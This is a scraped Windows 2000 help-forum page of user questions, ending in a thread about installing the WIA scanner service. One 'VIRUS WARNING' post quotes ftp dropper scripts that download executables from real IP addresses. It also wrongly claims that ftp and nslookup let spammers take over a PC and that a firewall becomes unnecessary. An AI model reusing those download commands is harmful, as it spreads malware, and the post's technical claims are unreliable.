    - How to stop connections to Microsoft I disabled the automatic updates because it was setting off the firewall too often (I haven't found enough details to make the proper firewall rules). There are still attempts to connect to microsoft IP addresses. What else can be causing these connection attempts? I don't use instant messaging, my browser is firefox, and thunderbird is my email/usenet reader. Thanks. Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563576

    - Hard Drive Running Constantly - Win2K-Pro This is a new (clean) installation and it seems as if the hard drive is running all the time. I checked the Windows Task Manager and there is one process, svchost.exe running in multiple instances and has a high CPU usage at times. I checked Google and this appears to be a common problem (I hope) but I am not clear about the solution. Is there a solution for this?

    - Need IE6 for Win2k-pro - SP4 I just finished installing Win2k w/SP4 (clean install on its own drive) and I cannot find IE6 on the Microsoft site. I tried to install TaxCut and it will not work with IE5 (for whatever reason) - and it directs me to get IE6 from Microsoft. Except, I cannot find it. Does anyone know if IE6 is still available?

    - Running batch files before Windows loads Another odd question from Somerset! Having trolled the various resources I still can not find the answer, so here goes! I have a duel boot with Win98/dos and win2k. I have a batch file that I wish to run BEFORE windows loads that deletes all the index.dat files plus many more, including emptying the temp folder. The batch file works fine from win98 dos. Runs as command promt (but obviously can not delete protected files). I know can call it from the registry startup commands, but how do I run it before windows even loads, preferably before the boot menu comes up? Autoexec.bat doesn't run of course for Win2k and neither does a *.cmd batch file. Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563556

    - Repost: Popup during Copy/Move SP 4 In Windows Explorer Tools/Folder Options/View/Advanced settings: the check box labeled "Show pop-up description for folder and desktop items" is UNCHECKED. That is my default. It always has been since I installed Windows 2000. But starting a few days ago, I now get a pop-up showing the filename when I drag the cursor in COPY/MOVE operations with any type of file. How do I kill this popup function? Since the normal setting above does not seem to be working, is there a registry key that controls this, or some other setting? ms Tag: Is there a way to install the WIA service in Windows 2000?

    - Install Avast as administrator, full functionality as power user? Is anyone aware of any issues with installing the Avast antivirus home edition as administrator, then mostly operating under a power user environment? I'm trying to get a heads-up on assumptions that may have gone into the design of the application e.g. assuming a single- account environment (basically admin), which may result in unexpected curtailment of functionality when Avast is installed as admin, but the PC is used under power user.

    - file corruption and other problems I'm using Windows 2000 with DOS v5 and have one serious problem and a couple of small ones. I had about 500 jpgs which I transferred from my old machine, mostly of album covers and musicians etc. Almost all of them have somehow become corrupted and unreadable. Worse than t hat, some save under different names; I don't know how this came about, and am extremely worried about this. The last time I had a problem like this was with WordStar restoring from floppies donkeys years ago. I am also unable to get long file names onmy machine, and video sites such as Youtube and other media play too fast. Can anyone offer any advice on this? My priority is to restore the jpgs and to prevent further file corruption. Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563497

    - can't boot windows 2000, stop error 0x0000006B Hello-- I have never had any real problems with my windows 2000 machine (I actually prefer it to my work machine, which runs XP), until I tried to burn a video CD with Nero the other day. The machine completely locked up, was totally unresponsive to CTRL ALT DEL, and it wouldn't even respond to the power button. I disconnected the power supply, and now when I try to reboot it gets a few seconds into the Windows 2000 Professional screen, then it flips to a blue screen with the following: *** STOP: 0x0000006B (0xC0000033,0x00000002,0x00000000,0x00000000) PROCESS1_INITIALIZATION_FAILED ...followed by instructions to reboot the machine in Safe Mode, but it can't even do that. I have not installed any new hardware in months and months (the last hardware installed was a CD burner that has burned hundreds of audio CDs--with the same Nero software that I used to burn a video CD when the machine locked up--over the past 2 years or so since I installed it; I did install a KVM switch to go between this win2000 machine and my work machine, but that has been in regular constant use for 6-8 months with no problems), but this error seems to have been related to the video CD creation function in the Nero program. Any ideas how I can at least salvage the data on that machine? I do have a back-up, but it is a little old, and there's some data on the machine that has since been added that I would really like to retrieve...any help would be greatly appreciated!! --Stephen Tag: Is there a way to install the WIA service in Windows 2000?

    - My computer sometimes freezes coming out of standby (attempt #2). I first posted the following message here 6 days ago, but to my surprise, this received no responses at all. The problem my message describes continues to recur, so I'll try posting this again to bring it back to the "top of the stack". Any clues anyone can give me will be greatly appreciated. ~~~~~~~ begin original message ~~~~~~~ Greetings, group. I've been experiencing an annoying problem with my Windows 2000: I usually put my computer in "Standby" mode at night to kill fan and disk noise without wiping out contents of RAM. I prefer standby over shut-down because the computer can be shut-down and re-started MUCH faster that way. (About 2 seconds to shut down and 10 seconds to start up, as opposed to several minutes for each if I use shut-down.) The problem is, sometimes (about 20% of the time) when I push the "On" button to come out of standby mode, the computer freezes. The video doesn't come on (the monitor pilot light stays orange instead of going green), and the system doesn't respond to the keyboard. I have to push the Reset button and re-boot. When I check the event logs, there is nothing there for the initial attempt to come out of standby. It shows various services starting up after pushing Reset and rebooting, but it's as if the initial restart attempt never happened. Anyone have an idea as to what might be causing this, and how to fix it? ~~~~~~~ end original message ~~~~~~~ -- (Still) puzzled, Robbie Hatley lonewolf aatt well dott com www dott well dott com slant user slant lonewolf slant Tag: Is there a way to install the WIA service in Windows 2000?

    - No defrag on files that admin hasn't permissions to I'm running Windows 2000 Professional, SP4, and almost always use a power user account. I mostly operate within a Unix environment provided by Cygwin. In accordance with a common Unix practice, all my power user files are set to be accessible by only the user. However, this prevents those files from being defragged. After much searching and experimentation, I found in JkDefrag's documentation that the account under which defragging is run should have "full control" over files being defragged. I've tried the Win2K's built-in defragger, JkDefrag, and Ultra Defragmenter (UD). For JkDefrag and UD, I also tried boot-time defragging. UD requires specification of a comma-separated list of file patterns, to which I added an asterisk (without quotes). None of these help. I confirmed that the fragmented files could be defragged after using the Unix Bash command line interpeter in Cygwin to open up file access to everyone ("go+rwx" in Unix lingo). Other people, however, haven't needed to do this, including people who have finangled file access permissions even more un-Windows-ily than I have. So I'm not sure what could be the cause of the problem. 1. What other likely causes could there be? 2. Is there a defragger that is known to circumvent these file access permissions problems? Freeware is preferrable, since this is an ancient laptop for which investment is questionable. It might be better to simply run it into the ground (or until my patience is exhausted), then get a new laptop with twice the drive capacity I need so that I can ghost the drive between two partitions instead of this troublesome and nonideal defragging. On the current laptop, ghosting might be problematic because it only has USB1 (haven't researched yet whether the CD burner is on IDE). 3. Failing that, is there a way to hierarchically traverse the C-drive and set file permissions such that "full control" is given to *only* admin? Thanks!

    - 98SE upgrade to 2000 I have several machines that have 98SE on them. One in particular didn't get heavy use, but now the 14 yr. old is doing his best to give it a workout (ASUS A7V600X-E Sempron2400 w/ 512 PC3200DDR). I have a copy of 2000 Pro Upgrade here that I was going to use quite a few years back, but never did (went with XP for that machine) and I was considering putting it on his machine for a number of reasons (like I want to add NAS to my wired router and I want to buy Office 2007 Student to put on there for him and etc.) I am aware that a clean install is always best, but in this instance I do not have the time to invest in starting him over from scratch so I may do an upgrade as the next best thing. His C drive is 13G and he currently uses about 8.5G for windows and programs... his graphics files and such are on D. How much further will 2000 gobble up his C drive as an Upgrade? How about space needed to put Office Student 07 over 97Pro? Will it install to a FAT (was 98SE FAT32?) drive? I would like to keep all the machines in the house using the same file format and so my XP machines are also FAT. Does 2000 have the same Restore Points as XP Home? Anything else I'm not thinking of?

    - Group Policy Not Working for just one user... We have a group policy configured on our network that includes a folder redirection policy. Basically it redirects everyone's My Documents folder to a central folder under their name on our server. This makes sure everything gets backed up. We've had this folder redirection in place for the past 7 years and it's worked fine. We discovered today however that one of our users My Documents folders has never been redirected. We only found this out after we formatted this particular user's computer and they ended up with no documents. Their my documents folder on the server was basically empty. Whilst we can't retrieve the data and this is no major problem I'm concerned as to why the folder redirection for this particular user has failed. The user account has been in use for I'd say the last 5 years and many users have been created since and everyone elses account redirects fine. Locally the user is a member of the Power Users group, as is everyone else. All the other group policy settings are working fine - standard desktop icons, standard start menu, standard wallpaper etc. Can anyone suggest some reasons for the issue with the my documents redirection? Thanks in advance. Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563471

    - Slow boot, but only in safe mode This is the opposite of what one would expect. That is, if one is experiencing a slow boot, going to safe mode would be relatively quicker. I'm experiencing the opposite. I boot up in the normal amount of time (which is never fast enough, but that's a different issue). It is only when I boot up in safe mode that I actually fall asleep waiting for it to boot up. The task manager shows a sparse list of processes, as one expects of safe mode. What would cause this counter-intuitive result of slowness, but only when booting in safe mode? Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563470

    - Terminal Services sessions timeout? I used to remotely administrate a Windows 2000 server with TightVNC. With TightVNC, I could log onto the server and start processes that run in DOS windows, lock the server and disconnect. I could then reconnect later on to the same session. Since the server was rebuilt, I am having to use Remote Desktop from a Windows XP client to administer the server. The problem with this is that it appears that these Remote Desktop sessions are timing out. I say this because when I remotely connect to the server I find no evidence that the processes that run in DOS windows are still running. The DOS windows have disappeared, and when I start the processes they begin a catch-up process that would not be necessary had they been running continuously. I have tried reinstalling TightVNC as a system service, but when I reboot the server and attempt a connection, I am informed that the server does not have a password set and until one is set I won't be able to connect to it. This is spite of having set the password! Any thoughts on the solution to either the Remote Desktop or TightVNC problem would be most gratefully received!

Hello, I'm looking for a backup software that would enable me to do the following in case of hard disk crash: 1/ boot from a CD containing the backup/restore program and a USB driver, 2/ plug an external USB disk containing the image of my crashed hard drive, 3/ then find this image from my CD, and restore it to a brand new internal hard disk. To sum up: I'm looking for a small software, allowing me to install it on a CD to boot from, on which I'll put a USB driver as well, to access an external USB disk containing my backups... I'd like to be able to backup an entire drive, whatever the filesystems (NTFS...) existing on them... Are there free programs to do that ? In advance, thanks very much.

    - missing pagefile.sys On reboot yesterday, the first in some weeks, Windows 2000 5.00.2195 SP4 encountered the subject: error exactly as described in http://support.microsoft.com/?id=315270 Efforts to follow the remedy stated are meeting difficulties. The pagefile is indeed defined and of size 800-1000 MB , the computer name is "w2k2." as it's been since inception several years ago. The difficulty starts in Step 3-f, as we don't have a "Computer Name" tab in the System Properties dialog, but it's possible to rationalize using the "Network Identification" tab instead, as it's the only possibility that makes sense. The larger difficulty comes in step 4, as there is no "File menu" from which to make the subsequent selections. What are we missing here please? There are a few services which haven't started due to "Error 5: Access is Denied" problems, and that's what prompted the reboot in the first place. Things are rather awkward as the machine is headless; we normally access it using the "VNC server" service, but that's one of the services that can't start. Is there any help available please?

    - Changing the Windows Explorer View to 'List' from 'icons' Hello, Windows 2000 SP4, Windows XP SP2, Windows 2003 AD Domain in Windows 2000 mode. I've written a script that changes the windows explorer view to 'list'. It works by writing values to the 'Streams' key in HKCU and seems to work fine when I run this as an administrator. However, when I login as a non-administrator, the view is still 'icons'. I have written a second script to interrogate the registry to verify that the changes that I made had been written successfully - they had. Given that the non-administrator user has group policy settings applied to them, would this be the reason why my registry changes are not taking effect? As far as I can tell, there is no mention of the 'Streams' key in the ADM files that are applied to the client/user. The following policies are applied to Windows Explorer and seem to update HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer Do not track shell shortcuts during roaming Hide these drives in My Computer Hide Manage on Explorer contect menu No 'Computers Near Me' in Network Places No 'Entire Network' in Network Places Prevent access to these drives in My Computer Remove DFS, Hardware Tabs Remove Search Remove UI to change Keyboard navigation indicator and menu animation settings Remove Folder Options on tools Turn on Classic Shell I have performed a test and updated my scripts to write to the 'Policies' Key (by adding the user to an administrative group). The results were that the registry entries were created, but again, no change was made in Windows Explorer Also I could not find a policy that defined the Windows Explorer view, otherwise I would have used that as a method of setting the view for the user. I've included below the script that modifies the registry - It does a check for XP or 2000 as we have both clients in our environment. Any help would be appreicated either in suggesting an alternative method of changing the explorer view, or suggestions why the registry changes are not being 'read' or 'applied' by users who have the GPO's applied.

    - *** VIRUS WARNING!!! *** I have discovered how Spammers are able to access people's Computers to spew out their Spyware garbage, and it is Microsoft's OS which has made this possible! Spammers utilize two commands: the "nslookup" Command and the "ftp" Command found in c:\winnt\system32 -- which you can review in the Windows Help Menu. Spammers can also use a HTML E-Mail you open on your Computer while logged onto the Internet to download a Virus. Those E-Mails you get from friends telling you to forward it on to others, in order to get good luck or money, are nothing but a SCAM perpetrated by the Spammers! DELETE those E-Mails -- DO NOT open them!!! Last month after separately opening two of those E-Mails, I ended up with a Virus on my Computer spewing out data over the Internet, and also the following two Text Files given the name "i" under the 'winnt' Directory. --- \winnt\i open 136.145.69.79 2755 user 1 1 get kp.exe quit --- \winnt\i open 208.111.5.228 2755 user 1 1 get 2k3.exe quit --- The Virus Commands I subsequently found under the 'winnt' or 'system32' Directories corresponded to the two ".exe" Files named in those two Text Files. I didn't know where those 4 Command Lines in those "i" Files were executable until just today when I looked up the "ftp" Command in Help. Those are 4 sub-commands which caused my Computer to open up the said IP Address and Port#, log in as the user 1 1, download the Virus Command, and then quit "ftp". Since I'm a Dial-up user, I immediately noticed something wrong because this immediately clogged up my Internet Connection. A High Speed user might not notice anything! It is unbelievable, but the "ftp" Command enables the Spammer to log onto your Computer WITHOUT using an ID and Password! Further, "ftp" enables the Spammer to prevent you from seeing what it is doing on your Computer!!! I'm not kidding! Further still, the "nslookup" Command enables the Spammer to find out your IP Numbers and Computer ID so that he can use the "ftp" Command! It is as if Microsoft specifically designed these two Commands to help Spammers! As far as I can tell, you cannot disable either of these Commands. You can rename "ftp.exe" to "ftp.exe.rename" and "nslookup.exe" to "nslookup.exe.rename" in order to make them non-executable, but I don't think this will solve the problem. Would a Microsoft Corporation technician please inform us if these two Command functions can be disabled? If not, Microsoft needs to IMMEDIATELY provide a Service Pack or update to enable these two functions to be disabled using the "net stop / start" Command. With these functions disabled, a Firewall Application becomes completely unnecessary! Tag: Is there a way to install the WIA service in Windows 2000? Tag: 563362

My company uses our own application to scan docments through a "Plustek
Mobile Office D28 Corporate" scanner, but our application freezes
periodically. The only fix we have found is to use a WIA driver that uses the
WIA windows service. I see the WIA service is in later Window's O/S' like XP,
but I need it in Windows 2000.

Thanks

Hello PROPHARM,

W2000 doesn't support WIA. Have a look here:

Is there something that can simulate WIA in W2K, or anything that can make
scanning more stable? Maybe a windows update of some sort?

Thanks
